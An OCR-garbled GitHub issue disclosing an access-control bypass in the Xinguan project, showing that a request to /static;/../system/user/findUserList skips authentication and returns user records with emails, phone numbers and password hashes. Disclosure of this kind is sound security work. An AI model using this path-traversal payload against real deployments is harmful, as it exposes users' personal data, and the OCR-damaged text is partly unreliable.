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There is an Incorrect Access Control vulnerability in
Xinguan #26

(oven)

ﬁ Racerz-fighting opened on Mar 18

[Suggested description]
Xinguan was found to have an Incorrect Access Control vulnerability up to 0.0.1-SNAPSHOT, resulting in
information leakage.

[Vulnerability Type]
Incorrect access control

[Vendor of Product]
https://github.com/zykzhangyukang/Xinguan

[Affected Product Code Base]
all version (<= 0.0.1-SNAPSHOT)

[Affected Component]
sensitive API that require authentication

[Attack Type]
Remote

[Vulnerability details]
Directly send the payload below to the API /system/user/finduserList will fail because of the

authentication.

GET /system/user/findUserList HTTP/1.1 d;
User-Agent: Apifox/1.0.0 (https://apifox.com)

Accept: */*

Host: 127.0.0.1:8989

Accept-Encoding: gzip, deflate

Connection: close

Cookie: JSESSIONID=88EBD536FDOD32C2939D369216B192C3
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Request

prety [ Hex W =

GET /system/user/findUserList HTTP/1.1

User—Agent: Apifox/1.0.0 (https://apifox.com)
Accept: x/x

Host: 127.0.0.1:8989

Accept-Encoding: gzip, deflate

Connection: close

Cookie: JSESSIONID=88EBD536FDOD32C2939D369216B192C3
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Response

=T Ravw Hex Render W =

HTTP/1.1 200

Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,DELETE
Content-Type: application/json;charset=utf-8
Content-Length: 73

Date: Tue, 18 Mar 2025 13:21:43 GMT

Connection: close
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{
"success":false,
"data":{
"errorCode":50001,
"errorMsg": " FFAIME"
}

However, send the payload below to the API /static;/../system/user/findUserList will bypass the

authentication.

Request

prety [ Hex W =

GET /static;/../systen/user/findUserList HTTP/1.1
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*

Host: 127.0.0.1:8989

Accept-Encoding: gzip, deflate

Connection: close

Cookie: JSESSIONI c 1681923
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HTTP/1.1 200

Access-Control-Allow-Methods: GET,POST,0PTIONS,PUT,DELETE
Content-Type: application/json

Date: Tue, 18 Mar 2025 13:22:29 GMT

Connection: close

Content-Length: 1189

{
success"itrue
"data":
"tota
"rows":

14,
[

"id":196,

ck",
"testetst",

qq. com",
“phoneNumber":"15045414141"
“status":false,
"createTime":"2020-08-19 17:41:20",
o

e

20207085178,

"password":"49bdaf7293cc9bd6fc9If50c3b03b7d6d",
“departmentName” : " FHE",
"departmentId":12

:"33333",

:"333@qq. con",
"phoneNumber":"15041414141",

“status":true,

“createTime":"2020-12-16 21:32:22",

sex':1,

"birth":"20204124290",
“password":"2168d955003701181dd6b3bab7647694"
“departmentN: JEEER,

“departmentId"

"id":198,
"username":"test",
“nickname": "testnickn",
il":"test@qq. com”,
"phoneNumber":"15074857474",

to join this conversation on GitHub. Already have an account? Sign in to comment
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Projects
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